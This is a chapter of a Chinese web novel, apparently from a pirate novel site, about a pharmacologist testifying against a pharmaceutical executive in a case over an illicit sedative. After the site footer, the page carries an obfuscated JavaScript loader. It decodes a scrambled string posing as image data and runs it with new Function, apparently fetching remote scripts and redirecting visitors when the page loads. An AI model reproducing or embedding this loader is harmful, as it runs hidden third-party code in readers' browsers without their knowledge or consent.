第891章 没有人知道就在同一时刻滨海监狱水泥墙上刻下新的公式
林晚第一次见到陈砚舟,是在市检察院三楼证人接待室的单向玻璃后。
她穿着洗得发软的浅灰针织衫,左手无名指上一道淡白旧痕——三年前被钢丝绳勒断指甲盖时留下的。她没戴表,但能准确说出审讯开始时间:上午9点17分23秒。这是她成为污点证人后养成的习惯:把每一秒都钉在记忆的砧板上,反复刮擦,直到它渗出血色真相。
而玻璃另一侧,陈砚舟正垂眸翻阅卷宗。他穿深灰西装,袖口微卷至小臂,露出一截冷白皮肤与腕骨分明的线条。他没抬头,只用食指关节轻叩桌面两下——不是催促,是确认。确认她是否真的坐在那里,确认这个曾亲手递给他毒药配方、又在他枪口下活过七十二小时的女人,终于肯开口了。
这不是爱情故事的开头。
这是刑事案件的倒计时。
——
2021年冬,滨海市“海葵”制药集团爆发特大药品回扣案。涉案金额超14.2亿元,牵涉全国27家三甲医院、112名医药代表、8名卫健委系统干部。案件表面是商业贿赂,内里却缠着一条更黑的线:非法精神类药物“眠雾”的地下流通网络。“眠雾”无批号、无成分标示、无临床试验,仅凭“三秒镇静、十秒失忆、二十四小时可控性昏迷”在灰色市场疯长。它被混入镇静剂、掺进术后止痛泵、甚至伪装成抗焦虑口服液,流向养老院、戒毒所、私立心理诊所……最后,流进了林晚的实验室。
她是“海葵”研发部最年轻的神经药理学博士,也是陈砚舟亲自从剑桥挖来的“技术锚点”。
没人知道,陈砚舟第一次约她喝咖啡,是在她递交辞职信的当天。
“林博士,”他推来一杯手冲埃塞俄比亚耶加雪菲,奶泡上用肉桂粉画了半枚分子结构式,“你写的《GABA受体亚型选择性抑制的临床悖论》,我读了三遍。第十七页第三段,你说‘当镇静剂开始篡改记忆编码通路,它就不再是药,而是钥匙’——这把钥匙,你愿不愿意和我一起,插进锁眼里?”
她没碰那杯咖啡。她盯着奶泡上晃动的肉桂粉线条,忽然想起导师临终前攥着她手腕说的最后一句话:“晚晚,别信能给你完美答案的人。真答案永远带着毛边,像未剪辑的胶片。”
她最终签了聘用合同。
不是因为钱,也不是因为陈砚舟眼底那种近乎悲悯的锐利。而是合同附件第七条写着:“所有新药临床前数据,须经双盲复核,原始记录留存区块链存证,密钥由研发负责人与合规总监共同持有。”
她以为那是铁律。
直到2022年6月13日深夜,她收到一封加密邮件。发件人是“海葵”IT安全部主管,主题栏只有两个字:【熔断】。
附件是一段17分钟监控录像。画面里,陈砚舟站在B3层废弃冷库,面前是三台恒温反应釜。他摘下手套,将一支标注“M-7(眠雾原型)”的琥珀色药剂注入其中一台釜体。镜头拉近——釜体铭牌上刻着“2021.09.11验收合格”,而验收签字栏,赫然是林晚的电子签名。
签名是真的。
可那天,她在ICU陪护高烧抽搐的母亲,手机全程处于医院电磁屏蔽区。
她立刻调取门禁日志、OA审批流、邮箱操作记录。所有痕迹都指向她:凌晨2:17登录内网系统,2:23远程签署设备验收单;2:29发送邮件给采购部,要求加急调拨三套GMP级密封罐体;2:35,她的工牌刷开了B3冷库门禁。
每一步,都严丝合缝。
唯独缺一个环节——她本人从未踏足B3层。
她瘫坐在实验室地板上,手指冰凉。窗外暴雨如注,雷光劈开云层时,她看见自己映在仪器玻璃罩上的脸:苍白,瞳孔放大,嘴唇无声开合,像一条离水的鱼。
她终于明白陈砚舟要的不是钥匙。
他是锁匠。
而她,是他亲手锻造的、最精密的锁芯。
——
林晚成为污点证人,是在陈砚舟被捕后的第七天。
不,准确说,是他在看守所提出“认罪协商”后的第七天。
他没否认指控。他承认操纵药品回扣体系,承认虚开发票套取科研经费,承认指使下属篡改临床试验数据。但他对“眠雾”的全部供述,只有三句话:
“我不知道这种药物存在。”
“我没参与任何非法制剂生产。”
“所有相关签字与指令,均系他人伪造。”
公诉机关愣住了。
证据链看似完整:银行流水显示他控制的离岸账户接收“眠雾”销售分成;通讯记录证明他与境外原料供应商有加密通话;更关键的是,B3冷库提取的指纹、DNA、操作日志,全指向林晚——而林晚,是唯一能证实他“知情”的核心技术人员。
可林晚消失了。
整整六天,她切断所有社交账号,退租公寓,注销手机号,连母校校友群都悄然退出。她在城西老工业区一家废品回收站做分拣工,每天搬运锈蚀的金属框架,手套磨破三双,掌心结满紫黑色茧。她不再看新闻,不听广播,甚至避开所有带屏幕的场所。她只是机械地弯腰、拾取、称重、归类。仿佛把自己也当成一件待回收的旧物,等着被压扁、熔解、重铸成另一种形态。
直到第七天凌晨四点,回收站铁门被敲响。
不是警察。
是市检察院公诉二部副主任周屿。他穿着便装,左肩沾着未干的雨渍,手里拎着一个保温袋。
“林博士,”他声音很轻,像怕惊扰什么,“陈砚舟点名要见你。不是作为嫌疑人,是作为‘辩方证人’。”
林晚没说话,继续往传送带上推一摞扭曲的铝合金窗框。
周屿蹲下来,打开保温袋。里面是两碗还冒着热气的葱油拌面,面汤清亮,葱花翠绿,油星在表面缓缓旋转。“他让我转告你:‘当年你母亲住院的押金,是我垫付的。缴费单在你抽屉第三格,背面有我的签名。’”
林晚的手顿住了。
她想起母亲病危通知书下达那天,自己银行卡余额只剩432元。而第二天清晨,缴费窗口递出的单据上,总金额栏赫然印着鲜红“已缴清”。她当时以为是医保实时结算,甚至没多看一眼。
原来那张薄纸背面,早被人用极细的针管笔,写下一串数字与姓名缩写:C.Y.Z./2022.06.12。
周屿没催。他安静吃面,吸溜声在空旷厂房里格外清晰。
林晚终于开口,声音沙哑如砂纸摩擦:“他想让我做什么?”
“翻供。”周屿咽下最后一根面条,“证明B3冷库所有操作,都是你一人所为。证明他不知情,未参与,甚至……被你利用。”
林晚笑了。
那笑没到眼睛里,只在嘴角扯开一道冷硬的弧度。“所以,你们需要我变成‘坏女人’?一个为报复上司而伪造证据、制毒牟利、陷害恩人的疯子?”
“不。”周屿放下筷子,直视她,“我们需要你变成‘活证据’。不是替他顶罪,是把他钉死在谎言的十字架上——用他教你的所有逻辑,所有漏洞,所有他以为万无一失的‘完美闭环’。”
他从公文包取出一份文件,封皮印着烫金检徽:“这是‘眠雾’全链条溯源报告。我们查到了原料供应商的原始出货单,上面收货人签字栏,是陈砚舟的亲笔。但笔迹鉴定显示,那不是他写的。”
林晚瞳孔骤缩。
“是模仿。”周屿翻开内页,指着一行比对图谱,“模仿者非常专业,用了三年前他签署并购协议时的书写习惯——右肩略抬,横折钩带滞涩感。可问题在于……”他指尖点向另一处,“这份并购协议,是你帮他起草的法律意见书附件。而你,恰好是全市唯一掌握他全部历史笔迹样本的人。”
林晚慢慢摘下沾满油污的橡胶手套。
指腹裂开几道细小血口,渗着淡红。
她忽然想起陈砚舟第一次带她参观“海葵”中央实验室时说的话:“晚晚,真正的控制系统,永远不在主控台。而在每个传感器校准系数里,在每行代码的注释里,在所有人忽略的——默认参数里。”
她当时笑着接话:“所以您才坚持所有设备校准必须双人复核?”
他摇头,目光沉静:“不。是为了让复核者,永远无法确信自己看到的,是不是‘真实’。”
——
林晚走进市检察院证人保护中心那天,穿了一条墨蓝色丝绒长裙。
不是为了体面,而是因为裙子内衬缝着三枚微型RFID芯片——一枚连着她的心率监测仪,一枚接入证人陈述实时语音分析系统,第三枚,直连公诉指挥中心的应急响应按钮。
她坐在单向玻璃后,看着陈砚舟被法警带入审讯室。
他瘦了些,下颌线更锋利,衬衫领口微松,露出锁骨处一道新鲜抓痕——像是谁在极度恐惧或愤怒中,用指甲狠狠抠出来的。
他坐下,抬眼。
视线穿过玻璃,精准落在她脸上。没有质问,没有哀求,只有一种近乎温柔的疲惫。仿佛他们不是即将在法庭上刀刃相向的控辩双方,而是共守一个漫长秘密的旧友。
林晚垂眸,翻开面前的证词本。
第一页,是她手写的证言摘要:
“2022年6月13日凌晨,我受陈砚舟指使,伪造B3冷库设备验收记录,并远程操控反应釜启动‘眠雾’中试生产。所有操作日志、门禁记录、电子签名,均由我本人完成。陈砚舟未参与该环节,亦不知晓‘眠雾’真实用途。”
周屿站在她身后,呼吸微滞。
他知道这是假证。
可更知道,这是唯一能撬开陈砚舟心理防线的楔子。
因为陈砚舟相信逻辑。
而林晚,是唯一能在他逻辑迷宫里,布下反向陷阱的人。
——
庭审在滨海市中级人民法院第一审判庭进行。
旁听席座无虚席。媒体长焦镜头对准被告席,闪光灯此起彼伏。陈砚舟的辩护律师是业内顶尖刑辩专家,开场陈词铿锵有力:“我的当事人,是推动国产创新药研发的实干家。所谓‘眠雾’,不过是境外竞争对手捏造的污名化标签!本案所有指控,建立在单一证人——林晚博士——前后矛盾、充满合理怀疑的证言之上!”
林晚坐在证人席,脊背挺直。
她没看陈砚舟,只盯着公诉人递来的第一份证据:B3冷库操作日志打印件。
“请证人确认,这份日志中,2022年6月13日2:17至2:35的操作记录,是否为您本人所为?”公诉人声音沉稳。
“是。”林晚答。
“请说明操作内容。”
“远程登录内网系统,签署设备验收单;向采购部发送加急调拨指令;刷开B3冷库门禁。”
辩护律师立刻起身:“反对!证人未说明操作动机与指令来源!”
审判长点头:“证人,请说明。”
林晚微微侧身,目光终于投向被告席。
陈砚舟正低头整理袖扣。动作从容,指节修长。
她开口,语速平缓,却像手术刀划开绷紧的皮肤:“因为陈砚舟先生承诺,只要我配合完成这次‘压力测试’,他就批准我母亲转入‘海葵’合作的国际医疗绿色通道,并承担全部费用。”
旁听席一片哗然。
陈砚舟终于抬眼。
那眼神里没有惊愕,只有一种深不见底的审视,仿佛在重新校准某个早已设定的参数。
林晚没躲。她迎着那目光,继续说:“他还告诉我,这次测试的数据,将用于申请国家重大新药创制专项。所有操作都会被区块链存证,永久不可篡改——包括我的签字,我的指令,我的全部责任。”
辩护律师冷笑:“荒谬!如此重大事项,为何不留书面授权?”
“因为他给了我一样更‘可靠’的东西。”林晚从证物袋取出一枚U盘,交由法警呈递,“这是当晚他交给我的‘操作密钥’。内含B3冷库全部设备控制协议,以及……一段音频。”
音频播放。
是陈砚舟的声音,背景有细微电流杂音,语速很快:“……记住,所有步骤必须在2:15至2:35之间完成。门禁系统会自动覆盖原始记录,区块链存证将同步生成哈希值。你签字那一刻,系统自动生成时间戳——2022.06.1302:23:17。这个时间,将是你唯一的‘不在场证明’。”
全场寂静。
辩护律师脸色发白。
这段音频,彻底坐实了林晚“受指使”的证言。
可公诉人却皱起眉。
因为音频里,陈砚舟说的是“2:23:17”。
而所有客观证据显示,林晚的电子签名时间,是“2:23:18”。
差一秒。
——
休庭十五分钟。
林晚被带至休息室。门关上刹那,她迅速从发髻中抽出一根银色发卡,卡尖抵住耳后皮肤,轻轻一旋。
“滴”一声轻响。
藏在发卡里的微型接收器,同步接收到周屿发来的加密信息:
【音频原始文件哈希值:A7F2…E9C1。你提供的U盘哈希值:A7F2…E9C2。差异位:第1427字节。结论:音频被篡改。篡改目的:制造‘时间差’。】
她闭了闭眼。
果然。
陈砚舟连“伪证”都要做成双保险——用一秒之差,为未来可能的“证人反水”预留解释空间:若林晚翻供,他可坚称“音频被剪辑”,而那一秒,正是剪辑痕迹所在。
可他漏算了一点。
林晚是药理学家,更是系统安全架构师。
“海葵”所有区块链节点,都采用她设计的“双哈希动态校验协议”。每次数据写入,系统不仅生成主哈希,还会在随机偏移量位置,嵌入一段冗余校验码。那段码,只有她知道解密密钥。
而那段密钥,就藏在她母亲病历本的页码里。
——
再开庭,公诉人突然改变策略。
他没再追问“眠雾”,而是调取了一份新证据:2022年6月12日,林晚母亲病房的全天候监控录像。
画面里,林晚坐在病床边,握着母亲枯瘦的手。母亲昏睡,心电监护仪波形平稳。时间显示:23:58:03。
“证人,请看这个时间点。”公诉人放大画面右下角,“此时,您的手机处于电磁屏蔽状态。但您的智能手表,仍在运行。”
镜头切至林晚手腕——那块银色AppleWatch,表盘正显示着心率曲线。
“根据医院物联网系统日志,这块手表在23:58:04至次日00:01:22期间,持续向‘海葵’内网发送心跳频率数据包。而这些数据包,被路由至B3冷库的温控服务器——作为‘眠雾’合成反应的生物反馈校准源。”
林晚点头:“是。陈砚舟要求我提供实时生理数据,用于优化药物镇静阈值。”
辩护律师嗤笑:“荒唐!用病人的心跳调控毒品合成?这简直是科幻小说!”
“不。”林晚平静道,“是神经药理学常识。GABA受体敏感性,与个体基础心率呈负相关。他需要我的数据,是因为……”她顿了顿,目光扫过旁听席前排一位白发老者——滨海大学神经科学终身教授,“张院士,您去年发表的《心率变异性与苯二氮30类药物代谢动力学关联研究》,第37页表格三,是否验证了这一模型?”
张院士缓缓点头。
辩护律师哑然。
公诉人乘胜追击:“那么,证人,您能否解释,为何您母亲的心率数据,在00:01:23突然中断?”
林晚看向陈砚舟。
他依旧沉静,但右手拇指,正无意识摩挲着左手无名指根部——那里,本该有一枚婚戒的位置。
“因为那一刻,”林晚声音很轻,“陈砚舟先生,亲手拔掉了我母亲的呼吸机插管。”
死寂。
连空调送风声都消失了。
陈砚舟终于变了脸色。不是惊慌,而是一种近乎解脱的松弛。他靠向椅背,喉结滚动了一下。
林晚继续:“他需要一次真实的‘濒死状态’,来采集极端应激下GABA受体的代偿性激活数据。而我母亲,是唯一符合‘长期服用β受体阻滞剂+近期经历情感创伤’双重筛选条件的活体样本。”
她从证物袋取出一张泛黄的纸。
是母亲的病历复印件。末页,医生潦草的诊断结论旁,有一行极小的铅笔字:
【患者家属签署《极端干预知情同意书》——C.Y.Z.2022.06.12】
字迹,与陈砚舟签署并购协议时一模一样。
——
陈砚舟当庭申请休庭。
不是为了翻盘,而是为了单独会见林晚。
在羁押室探视间,铁栅栏隔开两人。
他没提指控,没谈证据,只问:“你什么时候发现的?”
“你拔管时,呼吸机报警音是320Hz。”林晚说,“而我妈的耳蜗植入体,预设滤波频段是315-325Hz。她昏迷中,仍会本能转头朝向这个频率——就像婴儿听见母亲心跳。”
陈砚舟闭了闭眼。
“所以,你母亲最后清醒的三秒,”他声音沙哑,“是听见了你的声音?”
林晚没回答。她只是抬起左手,将无名指上那道淡白旧痕,正对着监控摄像头。
“你记得这个吗?”
陈砚舟凝视那道疤。
很久以前,他送她第一支实验用移液枪,她因紧张失手砸碎枪头,飞溅的玻璃割伤手指。他亲自为她包扎,用的不是医用胶布,而是一小截银色导电胶带——那是他实验室自制的柔性电路材料。
“那天你说,”林晚轻声道,“‘伤口愈合的方向,永远朝着神经生长最快的地方。’”
陈砚舟喉结剧烈起伏。
“可你没告诉我,”她指尖按在疤痕上,像按在某个开关,“神经生长最快的路径,恰恰是痛觉传入最慢的通道。”
他忽然笑了。
那笑容里没有嘲讽,只有一种尘埃落定的倦意:“所以,你把‘眠雾’的靶点,改成了TRPV1离子通道?”
林晚点头。
“不是GABA。”她一字一顿,“是辣椒素受体。它不抑制神经,它点燃神经——用灼烧感覆盖恐惧,用痛觉洪流冲垮记忆编码。这才是‘三秒镇静、十秒失忆’的真相。”
陈砚舟沉默良久,忽然问:“你恨我吗?”
林晚看着他。
透过铁栅栏,她看见的不是那个操纵百亿药企的狂徒,不是那个伪造证据的罪犯,而是三年前剑桥实验室里,那个为她调试脑电图仪、手心全是汗的年轻人。
“不。”她说,“我只恨自己,花了三年时间,才学会用你教我的方式,把你教我的东西,全部拆解、重组、反向爆破。”
——
最终,陈砚舟放弃认罪协商。
他当庭承认全部指控,包括“眠雾”研发、生产、销售全链条主导事实。但他拒绝交代上游原料供应商与下游分销网络。
“那些人,”他在最后陈述中说,“和我一样,是系统里一颗颗被校准过的螺丝。拧紧他们,不如重写整套安装手册。”
他被判无期徒刑,剥夺政治权利终身。
宣判那日,林晚没去法院。
她去了滨海市立医院的老住院部。
在母亲病房原址,如今是一间儿童康复中心。阳光透过落地窗洒进来,照在一面墙上——那里挂着一幅巨大的手绘壁画:无数彩色神经元相互连接,汇成一只展翅的蝴蝶。
壁画右下角,有一行小字:
【致所有在黑暗里校准过自己的人】
署名:L.W.
她驻足良久,转身离开。
走出医院大门时,手机震动。
是周屿发来的消息:
【“眠雾”案关联人员已立案侦查37人,其中卫健系统干部9名,公安干警2名。另,你提交的《神经调控类药物监管漏洞白皮书》,已被最高检列为年度重点调研课题。】
林晚没回复。
她拦下一辆出租车,报出地址:“去滨海港保税区,‘启明’生物科技。”
司机透过后视镜看了她一眼:“姑娘,那地方刚查封,听说老板跑路了……”
“我知道。”林晚望着车窗外流动的街景,声音很轻,“我去接收它。”
——
三个月后,“启明生物”以全新面貌重启。
没有恢弘的开业典礼,只在官网首页发布了一则招聘启事:
【诚聘首席合规官。要求:精通神经药理学与区块链存证技术;熟悉GMP/GLP全流程审计;具备刑事案件证人保护经验;薪资面议,股权激励另计。】
启事末尾,附了一张照片:
林晚站在实验室洁净间内,白大褂口袋插着一支银色移液枪。她身后,一整面墙的显示屏正实时跳动着数据流——每行代码旁,都标注着密钥持有人姓名与生物特征哈希值。
最顶端,一行红色字体不断刷新:
【当前系统完整性校验:100%|最后一次人工干预:2023.09.1714:22:03|校验人:L.W.】
没有人知道,就在同一时刻,滨海监狱第四监区,陈砚舟正用指甲在水泥墙上刻下新的公式。
他刻的不是化学式。
是林晚当年在剑桥论文里提出的“记忆熵增模型”——
当神经突触连接的随机性突破临界值,有序记忆将坍缩为混沌噪声。
而噪声本身,就是最坚固的防火墙。
他刻得很慢。
因为左手无名指上,那道被银色导电胶带覆盖了三年的旧伤,刚刚裂开了一道细小的血口。
血珠渗出来,像一粒微小的、正在发育的种子。
一秒记住【996小说网】
996xiaoshuo.com,更新快,无弹窗!
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();